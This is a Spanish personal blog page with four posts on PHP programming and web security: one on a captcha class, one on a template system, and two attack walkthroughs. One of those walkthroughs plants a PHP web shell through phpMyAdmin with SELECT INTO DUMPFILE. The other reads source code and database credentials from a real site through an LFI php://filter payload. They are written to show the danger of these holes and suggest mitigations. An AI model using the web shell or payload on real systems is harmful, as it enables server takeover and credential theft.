Efren Diaz

Programación, Seguridad Informática, Y algo mas...

Apoderarnos del servidor desde phpMyAdmin

Enviado el 11/04/16

En esta entrada vamos a ver como un atacante tras conseguir acceso a nuestro phpMyAdmin puede apoderarse de nuestro servidor y llegar a conseguir ejecución de comandos, listado de directorios, etc. Lo llevaremos a la práctica paso a paso bajo un servidor Xampp montado en local. La idea de este artículo es demostrar la peligrosidad de dejar accesible el phpMyAdmin o el MySQL desde conexiones externas.


Explicación del ataque

En resumen, lo que haremos en este ataque es conseguir desde MySQL crear un archivo malicioso PHP en nuestro servidor, desde el cual luego podremos ejecutar comandos para controlar la maquina. Para ello crearemos una tabla con un campo en la base de datos, y en dicho campo introduciremos el código fuente del archivo malicioso. Tras ello, usaremos la funcionalidad DumpFile del MySQL para exportar el contenido de esa columna (el código del archivo malicioso) a un archivo PHP en el servidor, y tras esto ya tendremos control sobre el servidor.


Manos a la obra!

Comenzamos una vez dentro del phpMyAdmin creando una tabla para la practica, la cual llamaremos pwned, con un campo llamado code:

CREATE TABLE `pwned` (
`code` VARCHAR( 1000 ) NOT NULL
) ENGINE = MYISAM ;

Ahora insertaremos una fila en la tabla con el contenido del archivo PHP malicioso, en este caso usaremos el siguiente código el cual contiene un formulario desde el cual podremos ejecutar comandos en la máquina:

<form method="post" action=""> <input type="text" name="com"> <input type="submit"> </form>
<?php
if(isset($_POST["com"])){
	echo "<br/><b>".$_POST["com"]."</b><br/>";
	echo  nl2br(shell_exec($_POST["com"]));
}
?>

Pues ya teniendo nuestro código lo insertamos en la base de datos para luego proceder a crear el archivo:

INSERT INTO pwned VALUES ('<form method="post" action=""> <input type="text" name="com"> <input type="submit"> </form>
<?php
if(isset($_POST["com"])){
	echo "<br/><b>".$_POST["com"]."</b><br/>";
	echo  nl2br(shell_exec($_POST["com"]));
}
?>');

Pues bien, ya tenemos nuestro código malicioso en la base de datos, ahora vamos a crear un archivo PHP en el servidor con dicho código, para ello ejecutamos la siguiente sentencia:

SELECT code FROM pwned INTO dumpfile 'C:/xampp/htdocs/com.php'

Ya tenemos nuestro archivo malicioso en la raíz del servidor, ahora lo abrimos y vemos como podemos ejecutar comandos sin ningún problema, con lo cual se ha expuesto al atacante nuestro servidor.


Conclusión

Como hemos visto en este ejemplo, es muy sencillo llegar a conseguir ejecutar comandos en una máquina teniendo acceso al MySQL con un usuario. Se pueden recomendar dos puntos para evitar estos posibles ataques, el primero es cambiar la configuración para que no acepte conexiones externas, o filtrar las IP permitidas. El otro punto a tener en cuenta y el mas importante, es deshabilitar la funcionalidad de DumpFile.

phpMyAdmin seguridad hacking
Leer Mas 1 Comentario

Creando un captcha seguro en PHP

Enviado el 06/04/16

En este post vamos a ver una clase que he creado para controlar el envío de formularios con captchas. Le he agregado la peculiaridad de que cuando genera un captcha almacena la url donde se generó, para asi evitar los problemas de colisión que suelen ocurrir cuando abrimos diferentes pestañas con formularios con captchas, y se remplazan unos a otros en la variable de Session de nuestro servidor.


Configurando un formulario

Como vemos en el siguiente código, para configuar la clase para un formulario tan solo hay que inicializarla, al hacerlo la clase ya detecta la url del formulario actual y genera su identificador ( md5(url) ). También vemos como se llama al método que nos comprueba si el valor de captcha introducido por el usuario es correcto, podemos observar como se llama al método que actualiza el código del captcha (class->newCode()), el cual lo ponemos despues del condicional de la comprobación de este, para evitar que se actualice y al introducir el usuario el captcha correctamente le devuelva error. Por último también vemos como le pasamos a la imagen el identificador de la url en la que estamos (class->urlHash) para que sepa que código de captcha nos tiene que mostrar.

formulario.php
<?php
//Activamos las sesiones
session_start();
//Incluimos y inicializamos la clase
include("eFncaptcha.class.php");
$captcha = new eFnCaptcha();
//Si se ha enviado el formulario hacemos el check del captcha
if($_POST){
	if($captcha->checkCode($_POST['captcha'])){
		echo "<span style='color:green;'>El captcha introducido es correcto !</span> <br/>";
	}else{
		echo "<span style='color:red;'>El captcha introducido es incorrecto !</span> <br/>";
	}
}
// Generamos un codigo aleatorio para este formulario
$captcha->newCode();
?>
<form action='' method='post'>
	<input type='text' name='captcha'> <br/>
	<img src='imagen.php?hash=<?php echo $captcha->urlHash; ?>'> <br/>
	<input type='submit'>
</form>

Generando la imagen

Generar la imagen es tan sencillo como incluir la clase, inicializarla y llamar al método que la genera pasandole el identificador de la url. Como vemos nos genera una imagen con colores, posiciones, y rotaciones aleatorias en los caracteres, para asi poder dificultar a un reconocedor de captchas identificarlos.

imagen.php
<?php
//Activamos las sesiones
session_start();
//Incluimos la clase
include("eFncaptcha.class.php");
//Inicializamos la clase
$captcha = new eFnCaptcha();
//imprimimos la imagen
$captcha->createImage($_GET['hash']);
?>

La Clase

Por último aqui os dejo el código de la clase, y tambien un enlace con un zip donde podreis ver el ejmplo de la clase.

eFncaptcha.class.php
<?php
/*
eFnCaptcha 1.0 - Abril 2016
Autor: Efrén Díaz Gómez
Email: edgteam.net@gmail.com
Web: http://www.elefren.es
*/

class eFnCaptcha {
	
	public $urlHash;
	
	function __construct(){
		//definimos el identificador del captcha para la url actual
		$this->urlHash = $this->getUrlHash();
	}
	
	public function newCode(){
		//codigo random de 6 digitos hexadecimales
		$_SESSION['efnCaptcha'][$this->urlHash] = strtoupper(substr(md5(rand(1000,99999)),0,6));
	}
	
	public function getUrlHash(){
		// generamos un identifcador para el captcha actual
		return  md5( $_SERVER["HTTP_HOST"] . $_SERVER["REQUEST_URI"] );
	}
	
	public function checkCode($inputCode){
		if( strtoupper($inputCode) === $_SESSION["efnCaptcha"][$this->urlHash] ){
			return true;
		}else{
			return false;
		}
	}
	
	public function createImage($urlHash){
		//Comenzamos a crear la imagen
		header ("Content-type: image/jpeg");
		$im = @imagecreatetruecolor(150, 30);
		imagefilledrectangle ($im, 0, 0, 149, 29, imagecolorallocate($im, 255,255,255));
		//Si no se ha generado un captcha para la pagina en la que vamos a imprimir mostramos error en la imagen
		if(!isset($_SESSION['efnCaptcha'][$urlHash])){
				imagestring($im, 2, 0, 0, "error! define un captcha:", imagecolorallocate ($im, 0, 0, 0));
				imagestring($im, 2, 0, 14, '$captcha->newCode()', imagecolorallocate ($im, 0, 0, 0));
		}else{
			//recorremos todos los caracteres de la session
			for($i=0;$i<strlen($_SESSION['efnCaptcha'][$urlHash]);$i++){
				//Creamos una nueva imagen para el caracter actual
				$actual = imagecreatetruecolor(40,40);
				imagefilledrectangle ($actual, 0, 0, 99, 29, imagecolorallocate($actual, 255,255,255));
				//Generamos el caracter de color aleatorio, limitamos al 150 para que no sean muy claros y sean legibles
				$randomColor = imagecolorallocate ($actual, rand(0,150), rand(0,150), rand(0,150));
				imagestring($actual, 6, 3, 0, $_SESSION["efnCaptcha"][$urlHash][$i], $randomColor);
				//Aplicamos una rotacion aleatoria
				$actualr = imagerotate($actual,rand(-20,20),imagecolorallocate($actual, 255,255,255));
				//Se lo agregamos a la imagen final
				imagecopy($im,$actualr,15+(20 * $i),5 + (rand(-3,3)),0,0,30,30);
			}
			for ($i=0; $i<500; $i++){
				//Generamos pixels de colores y posiciones aleatorias
				$randomColor = imagecolorallocate ($actual, rand(0,150), rand(0,150), rand(0,150));
				imagesetpixel( $im, rand(0, 150), rand(0, 50), $randomColor );
			}
		}
		//Imprimimos la imagen
		imagejpeg ($im);
	}
	
}

?>

Descargar ZIP de Ejemplo

php programacion

Sistema de plantillas en PHP

Enviado el 29/03/16

Cuando desarrollamos un proyecto, algo ideal para llevar un buen orden en lo que a código y estructura se refiere, es separar la parte de frontend (css, html, js...) de la de backend (php). Para ello usaremos un sistema de plantillas. En este artículo voy a publicar uno creado por mi desde cero, con el cual podremos desarrollar nuestra aplicación con su código bien estructurado y separado el frontend del backend, lo cual hará que tengamos un código bastante ordenado, y que si en un futuro queremos cambiar el diseño de nuestra web tan solo tendremos que crear un template nuevo y no será necesario editar ni tocar ninguna parte del php.


¿Cómo funciona?

Tendremos una carpeta llamada themes, en la cual introduciremos las plantillas, estas formadas por archivos .tpl en los cuales podremos definir variables, aquí podemos ver un ejemplo de lo que seria el .tpl de una noticia:

noticia.tpl

<h1><!--tituloNoticia--></h1>
<span>Enviado el <!--fecha--></span>
<p><!--textoNoticia--></p>
El sistema además de admitir variables dentro de los .tpl también nos permite hacer includes a otros archivos .tpl de forma totalmente recursiva. Ahora aquí os muestro como utilizaríamos la clase para generar una noticia:

mostrarNoticia.php
<?php
...
$noticia = $theme->tplProcess('noticia.tpl',
	array(
		'tituloNoticia' => 'Titulo de la noticia',
		'textoNoticia' => 'Aquí iria el texto de la noticia...',
		'fecha' => '10/04/2016'
	)
);
...
?>


Modo debug

Para tener comodidad a la hora de programar, le he añadido un modo debug ideal para tener activado mientras desarrollamos, el cual nos muestra al inicio del código fuente de la web los posibles errores o problemas que haya detectado la clase al generar el html resultante de la plantilla. Aquí muestro un ejemplo de errores soltado por la clase:

<!-- 
#DEBUG: 
Error -> No se puede definir un parametro con el nombre debugMode, es una palabra reservada!
Error -> El valor del parametro title esta llegando vacio !!
Info -> El archivo index.tpl esperaba un parametro llamado styleClasses que no esta definido.
Critical -> El archivo style.tpl no se ha encontrado en themes/dos/.

Archivos .tpl procesados: 5
Tiempo de ejecucion: 0.0035 segundos
-->


La clase

Por ultimo aquí os dejo el código fuente de la clase, y un ZIP con un ejemplo de uso de la clase con dos templates que he creado, donde podemos ver sus diferentes tipos de uso, errores puestos adrede para ver como funciona el debug, etc.


theme.class.php
<?php
/*
eFn-Theme 1.0 - Abril 2016
Autor: Efrén Díaz Gómez
Email: edgteam.net@gmail.com
Web: http://www.elefren.es
*/

class eFnTheme {
	
	private $startRun, $themeVars, $themeDir, $htmlResult;
	private $tplInt = 0;
	private $debug = null;
	
	//Declaramos la clase y variables generales
	function __construct($urlWeb,$tName)
	{
		$this->startRun = microtime();
		
		$this->themeDir = 'themes/'.$tName.'/';
		$this->themeVars['urlWeb'] = $urlWeb;
		$this->themeVars['urlTheme'] = $this->themeVars['urlWeb'].$this->themeDir;
		$this->palabrasReservadas = array('urlWeb','urlTheme','debugMode');
		
		if( !file_exists( $this->themeDir ) ){
			exit("Error: El tema seleccionado no existe, no se encuentra el directorio: ./{$this->themeDir}.");
		}
	}
	
	//metodo opara activar el debug
	public function debugOn(){
		$this->themeVars['debugMode'] = true;
	}
	
	//metodo para agregar al debug
	private function writeDebug($value)
	{
		if( isset($this->themeVars['debugMode']) ){
			$this->debug .= $value."\n";
		}
	}
	
	//metodo para agregar un elemento y su valor al procesado del theme
	public function addValue($item,$value)
	{
		if( in_array( $item , $this->palabrasReservadas ) ){
			$this->writeDebug("Error -> No se puede definir un parametro con el nombre {$item}, es una palabra reservada!");
		}else{
			if($value == null){
				$this->writeDebug("Error -> El valor del parametro {$item} esta llegando vacio !!");
			}
			
			$this->themeVars[$item] = $value;
		}
	}
	
	//metodo para procesar un .tpl
	public function tplProcess($tplFile, $tplVars = false)
	{
		$htmlCode = null;
		$this->tplInt++;
		$valores = ( $tplVars != false ) ? array_merge( $this->themeVars , $tplVars ): $this->themeVars;
		
		if( file_exists($this->themeDir . $tplFile) ){
			$htmlCode = file_get_contents($this->themeDir.$tplFile);
			//Los nombres de las variables dentro de los .tpl deben cumplir dicha expReg ([a-zA-Z0-9_\-\.]+)
			preg_match_all("/<!--([a-zA-Z0-9_\-\.]+)-->/",$htmlCode, $buscartags);
			
			for( $var = 0 ; $var < count($buscartags[1]) ; $var++ ){
				$themeVar = $buscartags[1][$var];
				//si el parametro es un include a otro tpl, lo procesamos y lo incluimos
				if( preg_match('/\.tpl/i',$themeVar) ){
					if( file_exists($this->themeDir . $themeVar) ){
						$htmlCode = str_replace('<!--'.$themeVar.'-->',$this->tplProcess($themeVar),$htmlCode);
					}else{
						$this->writeDebug("Critico -> El archivo {$themeVar} no se ha encontrado en {$this->themeDir}.");
					}
				}else{
				//si es un valor de la plantilla, detectamos que esté definido y lo reemplazamos
					if( isset($valores[$themeVar]) ){
						$htmlCode = str_replace('<!--'.$themeVar.'-->',$valores[$themeVar],$htmlCode);
					}else{
						$this->writeDebug("Info -> El archivo {$tplFile} esperaba un parametro llamado {$themeVar} que no esta definido.");
					}
				}
			}
		}else{
			$this->writeDebug("Critico -> El archivo {$tplFile} no se ha encontrado en {$this->themeDir}.");
		}
		
		return $htmlCode;
	}
	
	//metodo que procesa la plantilla y devuelve el codigo html final
	public function themeExec()
	{
		$this->htmlResult .= $this->tplProcess('index.tpl');
		$this->writeDebug("\nArchivos .tpl procesados: {$this->tplInt}");
		$this->writeDebug("Tiempo de ejecucion: ".( microtime() - $this->startRun )." segundos");
		
		if( isset($this->themeVars['debugMode']) ){
			$this->htmlResult = "<!-- \n#DEBUG: \n" . $this->debug . "-->\n" . $this->htmlResult;
		}
		
		return $this->htmlResult;
	}
}
?>

ejemplo.php
<?php
//Incluimos la clase
include("theme.class.php");

//Configuracion para inicializar la clase
$urlWeb = 'http://localhost/prueba';
$themeName = 'template1';

//Inicializamos la clase y el definimos el modo debug a true para que nos muestre errores
$theme = new eFnTheme($urlWeb,$themeName);
$theme->debugOn();
$theme->addValue('debugMode',true);

//definimos valores básicos como el <title>, el titulo de la pagina y una descripcion
$theme->addValue('titulo_web','Mi Pagina Web');
$theme->addValue('contenido','Esta es mi pagina web personal, bla bla bla adsfdsfdsf');

//Creamos dos noticias usando el archivo noticia.tpl 
$noticias = array();

$noticias[] = $theme->tplProcess('noticia.tpl',
	array(
		'tituloNoticia'=>'Primera Noticia',
		'contenidoNoticia'=>'bla bla bla de la primera noticia bla bla bla.....'
	)
);
$noticias[] = $theme->tplProcess('noticia.tpl',
	array(
		'tituloNoticia'=>'Segunda Noticia',
		'contenidoNoticia'=>'bla bla bla de la segunda noticia bla bla bla.....'
	)
);

// Mandamos las dos noticias al valor noticias del index.tpl
$theme->addValue( 'noticias' , implode($noticias) );

//Imprimimos el template
echo $theme->themeExec();
?>

Ejemplos:

Por último aqui pongo 2 capturas de el ejemplo que se incluye en el zip, donde he creado dos plantillas de ejemplo y podemos ver como afecta una u otra a el diseño de una misma página:
Plantilla1:


Plantilla2:


Descargar ZIP de ejemplo

php plantillas theme programacion

Explotando un LFI en PHP Parte 1

Enviado el 21/03/16

Introduccion

En este post vamos a ver como conseguir acceder al código fuente PHP de una web, explotando un bug LFI (Local File Inclusion). Adjuntaré capturas de ejemplo de como explotarlo en una web real, veremos hasta donde podemos llegar y la peligrosidad de este agujero. Como sabréis, este tipo de vulnerabilidad nos permite incluir archivos que no están destinados al usuario, los cuales debemos conocer su ruta física, infectando un parámetro en un sistema modular web que no esta controlado (en ASP.net este sistema se conoce por paginas maestras).

Pues bien, una característica que tiene PHP en este tipo de bug, es que en muchos sitios podemos explotarlo de una manera que además de poder incluir archivos que no están destinados al usuario (como un panel de administración) podemos ejecutar una función que nos devolverá en pantalla el código fuente PHP de la web, lo cual es algo de extrema gravedad, pues el atacante puede ver el código fuente al completo sin ningún problema.


Encontrando el bug

Tras encontrar una web que aparenta tener un sistema modular, metemos un valor aleatorio en lo que parece ser el parámetro del sistema de modulación, y al no existir dicho fichero la web nos muestra un error, lo que indica que la web es vulnerable.


Explotando el bug

Con esto ya tenemos una web vulnerable a LFI, ahora hay que probar si podemos ejecutar el método para extraer el código fuente (si el servidor tiene activado el mod_security nos podemos olvidar de que esto funcione), lo hacemos de la siguiente manera, hay que coger y en el parámetro vulnerable agregar lo siguiente:

http://web.com/index.php?seccion=php://filter/convert.base64-encode/resource=archivo

Ahora lo ejecutamos en nuestra web vulnerable:


Vemos que nos devuelve una cadena bastante larga, dicha cadena es el código fuente del archivo index.php codificado en base64, para visualizarlo mejor vamos al fuente de la web y veremos el código al completo, el cual para proteger la privacidad de la web víctima he ofuscado de una forma un tanto original :D


Pues bien, ahora lo único que tenemos que hacer es usar un descodificador de base64, en este caso yo usaré este online, y tras enviarle nuestro código nos devuelve el fuente del index.php totalmente legible, el cual en su primera linea nos encontramos una sorpresa, los datos de acceso a la base de datos:


Conclusión

Como hemos visto esta forma de explotar el bug nos puede dar el código fuente de cualquier archivo PHP de la web vulnerable, lo cual es un riesgo muy grande, ya que además de poder conectarse al a base de datos, podría leer cualquier archivo con permisos de lectura del servidor, descargar al completo el código fuente de nuestra web, entre otros... Mas adelante publicaré la segunda parte de este artículo en la que podremos ver como ejecutar comandos en el servidor aprovechando un LFI.

php lfi seguridad hacking
elefrEn.es
Programado con cariño bajo tecnologías PHP MySQL XHTML CSS3